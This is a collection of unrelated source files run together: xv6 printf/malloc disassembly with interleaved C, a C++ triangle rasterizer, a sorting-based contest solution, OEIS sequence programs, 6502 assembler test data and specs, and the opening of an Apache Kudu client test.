<printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 523: 83 f8 73 cmp $0x73,%eax 526: 0f 84 84 00 00 00 je 5b0 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 52c: 83 f8 63 cmp $0x63,%eax 52f: 0f 84 ea 00 00 00 je 61f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 535: 83 f8 25 cmp $0x25,%eax 538: 0f 84 c2 00 00 00 je 600 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 53e: 8d 45 e7 lea -0x19(%ebp),%eax 541: 83 ec 04 sub $0x4,%esp 544: c6 45 e7 25 movb $0x25,-0x19(%ebp) 548: 6a 01 push $0x1 54a: 50 push %eax 54b: 57 push %edi 54c: e8 21 fe ff ff call 372 <write> 551: 83 c4 0c add $0xc,%esp 554: 8d 45 e6 lea -0x1a(%ebp),%eax 557: 88 5d e6 mov %bl,-0x1a(%ebp) 55a: 6a 01 push $0x1 55c: 50 push %eax 55d: 57 push %edi 55e: 83 c6 01 add $0x1,%esi 561: e8 0c fe ff ff call 372 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 566: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 56a: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 56d: 31 d2 xor %edx,%edx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 56f: 84 db test %bl,%bl 571: 75 8d jne 500 <printf+0x60> putc(fd, c); } state = 0; } } } 573: 8d 65 f4 lea -0xc(%ebp),%esp 576: 5b pop %ebx 577: 5e pop %esi 578: 5f pop %edi 579: 5d pop %ebp 57a: c3 ret 57b: 90 nop 57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 580: 83 ec 0c sub $0xc,%esp 583: b9 10 00 00 00 mov $0x10,%ecx 588: 6a 00 push $0x0 58a: 8b 5d d0 mov -0x30(%ebp),%ebx 58d: 89 f8 mov %edi,%eax 58f: 8b 13 mov (%ebx),%edx 591: e8 6a fe ff ff call 400 <printint> ap++; 596: 89 d8 mov %ebx,%eax 598: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 59b: 31 d2 xor %edx,%edx if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; 59d: 83 c0 04 add $0x4,%eax 5a0: 89 45 d0 mov %eax,-0x30(%ebp) 5a3: e9 4d ff ff ff jmp 4f5 <printf+0x55> 5a8: 90 nop 5a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 5b0: 8b 45 d0 mov -0x30(%ebp),%eax 5b3: 8b 18 mov (%eax),%ebx ap++; 5b5: 83 c0 04 add $0x4,%eax 5b8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) s = "(null)"; 5bb: b8 f8 07 00 00 mov $0x7f8,%eax 5c0: 85 db test %ebx,%ebx 5c2: 0f 44 d8 cmove %eax,%ebx while(*s != 0){ 5c5: 0f b6 03 movzbl (%ebx),%eax 5c8: 84 c0 test %al,%al 5ca: 74 23 je 5ef <printf+0x14f> 5cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 5d0: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5d3: 8d 45 e3 lea -0x1d(%ebp),%eax 5d6: 83 ec 04 sub $0x4,%esp 5d9: 6a 01 push $0x1 ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 5db: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5de: 50 push %eax 5df: 57 push %edi 5e0: e8 8d fd ff ff call 372 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 5e5: 0f b6 03 movzbl (%ebx),%eax 5e8: 83 c4 10 add $0x10,%esp 5eb: 84 c0 test %al,%al 5ed: 75 e1 jne 5d0 <printf+0x130> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5ef: 31 d2 xor %edx,%edx 5f1: e9 ff fe ff ff jmp 4f5 <printf+0x55> 5f6: 8d 76 00 lea 0x0(%esi),%esi 5f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 600: 83 ec 04 sub $0x4,%esp 603: 88 5d e5 mov %bl,-0x1b(%ebp) 606: 8d 45 e5 lea -0x1b(%ebp),%eax 609: 6a 01 push $0x1 60b: e9 4c ff ff ff jmp 55c <printf+0xbc> } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 610: 83 ec 0c sub $0xc,%esp 613: b9 0a 00 00 00 mov $0xa,%ecx 618: 6a 01 push $0x1 61a: e9 6b ff ff ff jmp 58a <printf+0xea> 61f: 8b 5d d0 mov -0x30(%ebp),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 622: 83 ec 04 sub $0x4,%esp 625: 8b 03 mov (%ebx),%eax 627: 6a 01 push $0x1 629: 88 45 e4 mov %al,-0x1c(%ebp) 62c: 8d 45 e4 lea -0x1c(%ebp),%eax 62f: 50 push %eax 630: 57 push %edi 631: e8 3c fd ff ff call 372 <write> 636: e9 5b ff ff ff jmp 596 <printf+0xf6> 63b: 66 90 xchg %ax,%ax 63d: 66 90 xchg %ax,%ax 63f: 90 nop 00000640 <free>: static Header base; static Header *freep; void free(void *ap) { 640: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 641: a1 e0 0a 00 00 mov 0xae0,%eax static Header base; static Header *freep; void free(void *ap) { 646: 89 e5 mov %esp,%ebp 648: 57 push %edi 649: 56 push %esi 64a: 53 push %ebx 64b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 64e: 8b 10 mov (%eax),%edx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 650: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 653: 39 c8 cmp %ecx,%eax 655: 73 19 jae 670 <free+0x30> 657: 89 f6 mov %esi,%esi 659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 660: 39 d1 cmp %edx,%ecx 662: 72 1c jb 680 <free+0x40> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 664: 39 d0 cmp %edx,%eax 666: 73 18 jae 680 <free+0x40> static Header base; static Header *freep; void free(void *ap) { 668: 89 d0 mov %edx,%eax Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 66a: 39 c8 cmp %ecx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 66c: 8b 10 mov (%eax),%edx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 66e: 72 f0 jb 660 <free+0x20> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 670: 39 d0 cmp %edx,%eax 672: 72 f4 jb 668 <free+0x28> 674: 39 d1 cmp %edx,%ecx 676: 73 f0 jae 668 <free+0x28> 678: 90 nop 679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; if(bp + bp->s.size == p->s.ptr){ 680: 8b 73 fc mov -0x4(%ebx),%esi 683: 8d 3c f1 lea (%ecx,%esi,8),%edi 686: 39 d7 cmp %edx,%edi 688: 74 19 je 6a3 <free+0x63> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 68a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 68d: 8b 50 04 mov 0x4(%eax),%edx 690: 8d 34 d0 lea (%eax,%edx,8),%esi 693: 39 f1 cmp %esi,%ecx 695: 74 23 je 6ba <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 697: 89 08 mov %ecx,(%eax) freep = p; 699: a3 e0 0a 00 00 mov %eax,0xae0 } 69e: 5b pop %ebx 69f: 5e pop %esi 6a0: 5f pop %edi 6a1: 5d pop %ebp 6a2: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6a3: 03 72 04 add 0x4(%edx),%esi 6a6: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6a9: 8b 10 mov (%eax),%edx 6ab: 8b 12 mov (%edx),%edx 6ad: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 6b0: 8b 50 04 mov 0x4(%eax),%edx 6b3: 8d 34 d0 lea (%eax,%edx,8),%esi 6b6: 39 f1 cmp %esi,%ecx 6b8: 75 dd jne 697 <free+0x57> p->s.size += bp->s.size; 6ba: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 6bd: a3 e0 0a 00 00 mov %eax,0xae0 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 6c2: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6c5: 8b 53 f8 mov -0x8(%ebx),%edx 6c8: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 6ca: 5b pop %ebx 6cb: 5e pop %esi 6cc: 5f pop %edi 6cd: 5d pop %ebp 6ce: c3 ret 6cf: 90 nop 000006d0 <malloc>: return freep; } void* malloc(uint nbytes) { 6d0: 55 push %ebp 6d1: 89 e5 mov %esp,%ebp 6d3: 57 push %edi 6d4: 56 push %esi 6d5: 53 push %ebx 6d6: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6d9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 6dc: 8b 15 e0 0a 00 00 mov 0xae0,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6e2: 8d 78 07 lea 0x7(%eax),%edi 6e5: c1 ef 03 shr $0x3,%edi 6e8: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 6eb: 85 d2 test %edx,%edx 6ed: 0f 84 a3 00 00 00 je 796 <malloc+0xc6> 6f3: 8b 02 mov (%edx),%eax 6f5: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6f8: 39 cf cmp %ecx,%edi 6fa: 76 74 jbe 770 <malloc+0xa0> 6fc: 81 ff 00 10 00 00 cmp $0x1000,%edi 702: be 00 10 00 00 mov $0x1000,%esi 707: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 70e: 0f 43 f7 cmovae %edi,%esi 711: ba 00 80 00 00 mov $0x8000,%edx 716: 81 ff ff 0f 00 00 cmp $0xfff,%edi 71c: 0f 46 da cmovbe %edx,%ebx 71f: eb 10 jmp 731 <malloc+0x61> 721: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 728: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 72a: 8b 48 04 mov 0x4(%eax),%ecx 72d: 39 cf cmp %ecx,%edi 72f: 76 3f jbe 770 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 731: 39 05 e0 0a 00 00 cmp %eax,0xae0 737: 89 c2 mov %eax,%edx 739: 75 ed jne 728 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 73b: 83 ec 0c sub $0xc,%esp 73e: 53 push %ebx 73f: e8 96 fc ff ff call 3da <sbrk> if(p == (char*)-1) 744: 83 c4 10 add $0x10,%esp 747: 83 f8 ff cmp $0xffffffff,%eax 74a: 74 1c je 768 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 74c: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 74f: 83 ec 0c sub $0xc,%esp 752: 83 c0 08 add $0x8,%eax 755: 50 push %eax 756: e8 e5 fe ff ff call 640 <free> return freep; 75b: 8b 15 e0 0a 00 00 mov 0xae0,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 761: 83 c4 10 add $0x10,%esp 764: 85 d2 test %edx,%edx 766: 75 c0 jne 728 <malloc+0x58> return 0; 768: 31 c0 xor %eax,%eax 76a: eb 1c jmp 788 <malloc+0xb8> 76c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 770: 39 cf cmp %ecx,%edi 772: 74 1c je 790 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 774: 29 f9 sub %edi,%ecx 776: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 779: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 77c: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 77f: 89 15 e0 0a 00 00 mov %edx,0xae0 return (void*)(p + 1); 785: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 788: 8d 65 f4 lea -0xc(%ebp),%esp 78b: 5b pop %ebx 78c: 5e pop %esi 78d: 5f pop %edi 78e: 5d pop %ebp 78f: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 790: 8b 08 mov (%eax),%ecx 792: 89 0a mov %ecx,(%edx) 794: eb e9 jmp 77f <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 796: c7 05 e0 0a 00 00 e4 movl $0xae4,0xae0 79d: 0a 00 00 7a0: c7 05 e4 0a 00 00 e4 movl $0xae4,0xae4 7a7: 0a 00 00 base.s.size = 0; 7aa: b8 e4 0a 00 00 mov $0xae4,%eax 7af: c7 05 e8 0a 00 00 00 movl $0x0,0xae8 7b6: 00 00 00 7b9: e9 3e ff ff ff jmp 6fc <malloc+0x2c>
#include <kc/cv/Image.h> #include <iostream> #include <limits> using namespace kc; struct Triangle { glm::vec3 v0, v1, v2, color; }; void projectVertices(Triangle& triangle, float near, const cv::Image::Size& canvas) { auto& t = triangle; t.v0.z = -t.v0.z; t.v0.x = (near * t.v0.x / t.v0.z); t.v0.y = (near * t.v0.y / t.v0.z); t.v1.z = -t.v1.z; t.v1.x = (near * t.v1.x / t.v1.z); t.v1.y = (near * t.v1.y / t.v1.z); t.v2.z = -t.v2.z; t.v2.x = (near * t.v2.x / t.v2.z); t.v2.y = (near * t.v2.y / t.v2.z); auto [width, height] = canvas; t.v0.y = (1 - t.v0.y / height) * height; t.v1.y = (1 - t.v1.y / height) * height; t.v2.y = (1 - t.v2.y / height) * height; } inline float edgeFunction(const glm::vec3& a, const glm::vec3& b, const glm::vec3& c) { return (c[0] - a[0]) * (b[1] - a[1]) - (c[1] - a[1]) * (b[0] - a[0]); } int main() { cv::Image image{cv::Image::Size{.width = 600, .height = 600}}; auto [w, h] = image.getSize(); std::vector<float> zBuffer(w * h, std::numeric_limits<float>::max()); std::vector<Triangle> triangles = { Triangle{ .v0 = {100, 0, -1}, .v1 = {600, 0, -1}, .v2 = {350, 600, -1}, .color = {1.0, 1.0, 0.0}}, Triangle{.v0 = {0, 0, -1.5}, .v1 = {300, 0, -1.5}, .v2 = {150, 600, -1.5}, .color = {1.0, 0.0, 0.0}}}; const float near = 1.0f; for (auto triangle : triangles) { projectVertices(triangle, near, image.getSize()); float area = edgeFunction(triangle.v0, triangle.v1, triangle.v2); for (int x = 0; x < w; ++x) { for (int y = 0; y < h; ++y) { glm::vec3 p{x + 0.5, y + 0.5, 0.0f}; float w0 = edgeFunction(triangle.v1, triangle.v2, p); float w1 = edgeFunction(triangle.v2, triangle.v0, p); float w2 = edgeFunction(triangle.v0, triangle.v1, p); if (w0 > 0 && w1 > 0 && w2 > 0) { int zIndex = y * h + x; if (zBuffer[zIndex] >= triangle.v1.z) { zBuffer[zIndex] = triangle.v1.z; image.setPixelValue(x, y, triangle.color); } } } } } image.save("test.jpg"); return 0; }
#include <cstdio> #include <vector> #include <algorithm> typedef long long ll; int main(){ ll n, k; scanf("%lld %lld", &n, &k); std::vector<std::pair<ll, ll> > v(n); std::vector<ll> w(k, 0); for(ll p = 0; p < n; p++){ll x; scanf("%lld", &x); v[p].second = x - 1; ++w[x - 1];} for(ll p = 0; p < n; p++){scanf("%lld", &v[p].first);} sort(v.begin(), v.end()); ll idx(0), res(0); for(ll p = 0; p < n; p++){ ll x = v[p].second; if(w[x] > 1){ while(idx < k && w[idx] > 0){++idx;} if(idx >= k){break;} --w[x]; w[idx] = 1; res += v[p].first; } } printf("%lld\n", res); return 0; }
; A068073: Period 4 sequence [ 1, 2, 3, 2, ...]. ; 1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2,1,2,3,2 gcd $0,4 mod $0,4 add $0,1
; A139745: a(n) = 11^n - 7^n. ; 0,4,72,988,12240,144244,1653912,18663628,208594080,2317594084,25654949352,283334343868,3124587089520,34425823133524,379071610510392,4172500607905708,45916496933002560,505214397985306564,5558288899894321032,61147691553229173148,672670202666262397200,7399691398394076817204,81398839565791178125272,895402874507897291330188,9849541094576230528297440,108345718365264058076929444,1191808266292383294705827112,13109928479137566832781320828,144209476119962689297715087280,1586306077265735761234709867284,17449379729546116626300715890552,191943267182368445658340226249068,2111376570107581041624968948910720,23225146688894088433557243659214724,255476644501809851598907776799739592 mov $1,11 pow $1,$0 mov $2,7 pow $2,$0 sub $1,$2 mov $0,$1
line1 !scr "inspired by http://dustlayer.com/ " line2 !scr "hello world " result !scr " " expect !scr " " empty !scr " " img !scr "img-$" ok1 !scr "20170101-123456.jpg$" ok2 !scr "img-20170101-123456.jpg$" fail1 !scr "im-20170101-123456.jpg$" fail2 !scr "fail2$" fail3 !scr "$" digits !scr "12345678"
.import source "64spec.asm" .eval config_64spec("print_immediate_result", false) sfspec: :init_spec() :describe("assert_a_zero") :it("works for all values of A register");{ .for (var a = 0; a < 256; a++) { .if (a == 0) { lda #a :assert_a_zero } else { lda #a :assert_a_zero _64SPEC.assertion_failed_subroutine : _64SPEC.assertion_passed_subroutine } } } :it("does not affect A register");{ .for (var a = 0; a < 256; a++) { lda #a .if (a == 0) { :assert_a_zero } else { :assert_a_zero _64SPEC.assertion_failed_subroutine : _64SPEC.assertion_passed_subroutine } :assert_a_equal #a } } :finish_spec()
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include <algorithm> #include <atomic> #include <cstdint> #include <cstdlib> #include <functional> #include <iterator> #include <map> #include <memory> #include <mutex> #include <ostream> #include <set> #include <string> #include <thread> #include <unordered_set> #include <utility> #include <vector> #include <boost/bind.hpp> #include <boost/function.hpp> #include <boost/optional/optional.hpp> #include <gflags/gflags.h> #include <gflags/gflags_declare.h> #include <glog/logging.h> #include <glog/stl_logging.h> #include <google/protobuf/util/message_differencer.h> #include <gtest/gtest.h> #include "kudu/client/callbacks.h" #include "kudu/client/client-internal.h" #include "kudu/client/client-test-util.h" #include "kudu/client/client.h" #include "kudu/client/client.pb.h" #include "kudu/client/error_collector.h" #include "kudu/client/meta_cache.h" #include "kudu/client/resource_metrics.h" #include "kudu/client/row_result.h" #include "kudu/client/scan_batch.h" #include "kudu/client/scan_configuration.h" #include "kudu/client/scan_predicate.h" #include "kudu/client/scanner-internal.h" #include "kudu/client/schema.h" #include "kudu/client/session-internal.h" #include "kudu/client/shared_ptr.h" // IWYU pragma: keep #include "kudu/client/value.h" #include "kudu/client/write_op.h" #include "kudu/clock/clock.h" #include "kudu/clock/hybrid_clock.h" #include "kudu/common/partial_row.h" #include "kudu/common/row.h" #include "kudu/common/schema.h" #include "kudu/common/timestamp.h" #include "kudu/common/wire_protocol.pb.h" #include "kudu/gutil/atomicops.h" #include "kudu/gutil/casts.h" #include "kudu/gutil/integral_types.h" #include "kudu/gutil/map-util.h" #include "kudu/gutil/mathlimits.h" #include "kudu/gutil/port.h" #include "kudu/gutil/ref_counted.h" #include "kudu/gutil/stl_util.h" #include "kudu/gutil/stringprintf.h" #include "kudu/gutil/strings/join.h" #include "kudu/gutil/strings/substitute.h" #include "kudu/integration-tests/data_gen_util.h" #include "kudu/master/catalog_manager.h" #include "kudu/master/master.h" #include "kudu/master/master.pb.h" #include "kudu/master/mini_master.h" #include "kudu/mini-cluster/internal_mini_cluster.h" #include "kudu/rpc/messenger.h" #include "kudu/rpc/service_pool.h" #include "kudu/security/tls_context.h" #include "kudu/security/token.pb.h" #include "kudu/security/token_signer.h" #include "kudu/server/rpc_server.h" #include "kudu/tablet/tablet.h" #include "kudu/tablet/tablet_metadata.h" #include "kudu/tablet/tablet_replica.h" #include "kudu/tserver/mini_tablet_server.h" #include "kudu/tserver/scanners.h" #include "kudu/tserver/tablet_server.h" #include "kudu/tserver/tablet_server_options.h" #include "kudu/tserver/ts_tablet_manager.h" #include "kudu/tserver/tserver.pb.h" #include "kudu/util/async_util.h" #include "kudu/util/barrier.h" #include "kudu/util/countdown_latch.h" #include "kudu/util/locks.h" // IWYU pragma: keep #include "kudu/util/metrics.h" #include "kudu/util/monotime.h" #include "kudu/util/net/sockaddr.h" #include "kudu/util/pb_util.h" #include "kudu/util/random.h" #include "kudu/util/random_util.h" #include "kudu/util/semaphore.h" #include "kudu/util/slice.h" #include "kudu/util/status.h" #include "kudu/util/stopwatch.h" #include "kudu/util/test_macros.h" #include "kudu/util/test_util.h" #include "kudu/util/thread.h" #include "kudu/util/thread_restrictions.h" DECLARE_bool(allow_unsafe_replication_factor); DECLARE_bool(catalog_manager_support_live_row_count); DECLARE_bool(catalog_manager_support_on_disk_size); DECLARE_bool(fail_dns_resolution); DECLARE_bool(location_mapping_by_uuid); DECLARE_bool(log_inject_latency); DECLARE_bool(master_support_connect_to_master_rpc); DECLARE_bool(mock_table_metrics_for_testing); DECLARE_bool(rpc_trace_negotiation); DECLARE_bool(scanner_inject_service_unavailable_on_continue_scan); DECLARE_int32(flush_threshold_mb); DECLARE_int32(flush_threshold_secs); DECLARE_int32(heartbeat_interval_ms); DECLARE_int32(leader_failure_exp_backoff_max_delta_ms); DECLARE_int32(log_inject_latency_ms_mean); DECLARE_int32(log_inject_latency_ms_stddev); DECLARE_int32(master_inject_latency_on_tablet_lookups_ms); DECLARE_int32(max_column_comment_length); DECLARE_int32(max_create_tablets_per_ts); DECLARE_int32(raft_heartbeat_interval_ms); DECLARE_int32(scanner_batch_size_rows); DECLARE_int32(scanner_gc_check_interval_us); DECLARE_int32(scanner_inject_latency_on_each_batch_ms); DECLARE_int32(scanner_max_batch_size_bytes); DECLARE_int32(scanner_ttl_ms); DECLARE_int32(table_locations_ttl_ms); DECLARE_int64(live_row_count_for_testing); DECLARE_int64(on_disk_size_for_testing); DECLARE_string(location_mapping_cmd); DECLARE_string(superuser_acl); DECLARE_string(user_acl); DEFINE_int32(test_scan_num_rows, 1000, "Number of rows to insert and scan"); METRIC_DECLARE_counter(block_manager_total_bytes_read); METRIC_DECLARE_counter(rpcs_queue_overflow); METRIC_DECLARE_counter(location_mapping_cache_hits); METRIC_DECLARE_counter(location_mapping_cache_queries); METRIC_DECLARE_histogram(handler_latency_kudu_master_MasterService_GetMasterRegistration); METRIC_DECLARE_histogram(handler_latency_kudu_master_MasterService_GetTabletLocations); METRIC_DECLARE_histogram(handler_latency_kudu_master_MasterService_GetTableLocations); METRIC_DECLARE_histogram(handler_latency_kudu_master_MasterService_GetTableSchema); METRIC_DECLARE_histogram(handler_latency_kudu_tserver_TabletServerService_Scan); using base::subtle::Atomic32; using base::subtle::NoBarrier_AtomicIncrement; using base::subtle::NoBarrier_Load; using base::subtle::NoBarrier_Store; using boost::none; using google::protobuf::util::MessageDifferencer; using kudu::cluster::InternalMiniCluster; using kudu::cluster::InternalMiniClusterOptions; using kudu::master::CatalogManager; using kudu::master::GetTableLocationsRequestPB; using kudu::master::GetTableLocationsResponsePB; using kudu::security::SignedTokenPB; using kudu::client::sp::shared_ptr; using kudu::tablet::TabletReplica; using kudu::tserver::MiniTabletServer; using std::bind; using std::function; using std::map; using std::pair; using std::set; using std::string; using std::thread; using std::unique_ptr; using std::unordered_set; using std::vector; using strings::Substitute; namespace kudu { namespace client { class ClientTest : public KuduTest { public: ClientTest() { KuduSchemaBuilder b; b.AddColumn("key")->Type(KuduColumnSchema::INT32)->NotNull()->PrimaryKey(); b.AddColumn("int_val")->Type(KuduColumnSchema::INT32)->NotNull(); b.AddColumn("string_val")->Type(KuduColumnSchema::STRING)->Nullable(); b.AddColumn("non_null_with_default")->Type(KuduColumnSchema::INT32)->NotNull() ->Default(KuduValue::FromInt(12345)); CHECK_OK(b.Build(&schema_)); } void SetUp() override { KuduTest::SetUp(); // Reduce the TS<->Master heartbeat interval FLAGS_heartbeat_interval_ms = 10; FLAGS_scanner_gc_check_interval_us = 50 * 1000; // 50 milliseconds. SetLocationMappingCmd(); // Start minicluster and wait for tablet servers to connect to master. cluster_.reset(new InternalMiniCluster(env_, InternalMiniClusterOptions())); ASSERT_OK(cluster_->Start()); // Connect to the cluster. ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&client_)); NO_FATALS(CreateTable(kTableName, 1, GenerateSplitRows(), {}, &client_table_)); } void TearDown() override { KuduTest::TearDown(); } // Looks up the remote tablet entry for a given partition key in the meta cache. scoped_refptr<internal::RemoteTablet> MetaCacheLookup(KuduTable* table, const string& partition_key) { scoped_refptr<internal::RemoteTablet> rt; Synchronizer sync; client_->data_->meta_cache_->LookupTabletByKey( table, partition_key, MonoTime::Max(), internal::MetaCache::LookupType::kPoint, &rt, sync.AsStatusCallback()); CHECK_OK(sync.Wait()); return rt; } // Generate a set of split rows for tablets used in this test. vector<unique_ptr<KuduPartialRow>> GenerateSplitRows() { vector<unique_ptr<KuduPartialRow>> rows; unique_ptr<KuduPartialRow> row(schema_.NewRow()); CHECK_OK(row->SetInt32(0, 9)); rows.emplace_back(std::move(row)); return rows; } // Count the rows of a table, checking that the operation succeeds. // // Must be public to use as a thread closure. void CheckRowCount(KuduTable* table, int expected) { CHECK_EQ(CountRowsFromClient(table), expected); } // Continuously sample the total size of the buffer used by pending operations // of the specified KuduSession object. // // Must be public to use as a thread closure. static void MonitorSessionBufferSize(const KuduSession* session, CountDownLatch* run_ctl, int64_t* result_max_size) { int64_t max_size = 0; while (!run_ctl->WaitFor(MonoDelta::FromMilliseconds(1))) { int size = session->data_->GetPendingOperationsSizeForTests(); if (size > max_size) { max_size = size; } } if (result_max_size != nullptr) { *result_max_size = max_size; } } // Continuously sample the total count of batchers of the specified // KuduSession object. // // Must be public to use as a thread closure. static void MonitorSessionBatchersCount(const KuduSession* session, CountDownLatch* run_ctl, size_t* result_max_count) { size_t max_count = 0; while (!run_ctl->WaitFor(MonoDelta::FromMilliseconds(1))) { size_t count = session->data_->GetBatchersCountForTests(); if (count > max_count) { max_count = count; } } if (result_max_count != nullptr) { *result_max_count = max_count; } } protected: static const char *kTableName; static const int32_t kNoBound; // Set the location mapping command for the test's masters. 